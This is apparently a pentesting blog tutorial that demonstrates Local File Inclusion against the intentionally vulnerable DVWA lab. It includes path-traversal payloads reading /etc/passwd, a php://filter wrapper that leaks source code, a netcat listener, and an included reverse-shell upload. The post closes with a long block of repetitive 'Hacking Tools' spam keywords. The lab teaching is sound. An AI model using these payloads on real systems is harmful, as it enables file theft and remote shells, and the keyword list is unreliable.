There are two types of File Inclusion Vulnerabilities, LFI (Local File Inclusion) and RFI (Remote File Inclusion). Offensive Security's Metasploit Unleashed guide describes LFI and RFI as:
"LFI vulnerabilities allow an attacker to read (and sometimes execute) files on the victim machine. This can be very dangerous because if the web server is misconfigured and running with high privileges, the attacker may gain access to sensitive information. If the attacker is able to place code on the web server through other means, then they may be able to execute arbitrary commands.
RFI vulnerabilities are easier to exploit but less common. Instead of accessing a file on the local machine, the attacker is able to execute code hosted on their own machine."
In simpler terms LFI allows us to use the web application's execution engine (say php) to execute local files on the web server and RFI allows us to execute remote files, within the context of the target web server, which can be hosted anywhere remotely (given they can be accessed from the network on which web server is running).
To follow along, click on the File Inclusion navigation link of DVWA, you should see a page like this:
Lets start by doing an LFI attack on the web application.
Looking at the URL of the web application we can see a parameter named page which is used to load different php pages on the website.
http://localhost:9000/vulnerabilities/fi/?page=include.php
../etc/passwd
http://localhost:9000/vulnerabilities/fi/?page=../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../../../../etc/passwd
This just means that we are currently working in a directory which is seven levels deep inside the root (/) directory. It also proves that our LFI is a success. We can also use php filters to get more and more information from the server. For example if we want to get the source code of the web server we can use php wrapper filter for that like this:
php://filter/convert.base64-encode/resource=index.php
cat index.php.b64 | base64 -d > index.php
Lets upload our reverse shell via File Upload functionality and then set up our netcat listener to listen for a connection coming from the server.
nc -lvnp 9999
http://localhost:9000/vulnerabilities/fi/?page=../../hackable/uploads/revshell.php
To learn more about File Upload Vulnerability and the reverse shell we have used here read Learning Web Pentesting With DVWA Part 5: Using File Upload to Get Shell. Attackers usually chain multiple vulnerabilities to get as much access as they can. This is a simple example of how multiple vulnerabilities (Unrestricted File Upload + LFI) can be used to scale up attacks. If you are interested in learning more about php wrappers then LFI CheetSheet is a good read and if you want to perform these attacks on the dvwa, then you'll have to enable allow_url_include setting by logging in to the dvwa server. That's it for today have fun.
Leave your questions and queries in the comments below.
References:
- FILE INCLUSION VULNERABILITIES: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/
- php://: https://www.php.net/manual/en/wrappers.php.php
- LFI Cheat Sheet: https://highon.coffee/blog/lfi-cheat-sheet/
- File inclusion vulnerability: https://en.wikipedia.org/wiki/File_inclusion_vulnerability
- PHP 5.2.0 Release Announcement: https://www.php.net/releases/5_2_0.php
- Hacking Tools Mac
- Pentest Tools Linux
- Wifi Hacker Tools For Windows
- Hacking Tools Github
- Hacking Tools 2020
- Android Hack Tools Github
- Hacking Tools Kit
- Hacking Tools Usb
- Hacks And Tools
- Pentest Tools For Mac
- Hack Tools Download
- Hacking Tools For Beginners
- Hack Tools Download
- Hacker Tools Apk
- Hacking Tools For Pc
- Hacking Tools Pc
- Usb Pentest Tools
- Hack Apps
- Pentest Tools Github
- Pentest Tools Tcp Port Scanner
- Pentest Tools Open Source
- Pentest Tools Url Fuzzer
- Hacking Tools Hardware
- Nsa Hack Tools
- Easy Hack Tools
- Hacking Tools Windows 10
- Tools 4 Hack
- Ethical Hacker Tools
- Hacks And Tools
- Hacking Tools Hardware
- Best Hacking Tools 2020
- Pentest Tools Github
- Pentest Tools Find Subdomains
- Hacking Tools Pc
- Hacking Tools For Games
- Hack Tools For Games
- Hack Tools Download
- Tools Used For Hacking
- Hacker Tools For Pc
- Pentest Automation Tools
- Hacking Tools Usb
- Pentest Tools Apk
- Hacker Tools
- Pentest Tools
- Pentest Tools Open Source
- Growth Hacker Tools
- Ethical Hacker Tools
- Kik Hack Tools
- Hack Tools Github
- Hacking App
- How To Install Pentest Tools In Ubuntu
- Hacker Tool Kit
- Blackhat Hacker Tools
- Hack Tools Download
- Hacking Tools For Windows Free Download
- Hacks And Tools
- Free Pentest Tools For Windows
- Hacking Tools Usb
- How To Hack
- Top Pentest Tools
- Pentest Tools Linux
- Kik Hack Tools
- Pentest Reporting Tools
- Hacker Tools Free
- Hack Tools For Games
- Github Hacking Tools
- Hacker Tools Software
- Pentest Recon Tools
- Hacking Tools Free Download
- Hack Tools Online
- Hack Tools Online
- Pentest Tools For Android
- Growth Hacker Tools
- Hacking Tools 2020
- Hacking Tools 2019
- Hacker Tools Linux
- Bluetooth Hacking Tools Kali
- Pentest Tools For Mac
- Hack Tools For Ubuntu
- Black Hat Hacker Tools
- Install Pentest Tools Ubuntu
- Pentest Tools List
- Pentest Tools Review
- Hacking Tools Usb
- Hacking Tools Windows 10
- World No 1 Hacker Software
- Pentest Tools Windows
- Hacker Tools 2020
- Hacking Tools Windows
- Blackhat Hacker Tools
- Hacks And Tools




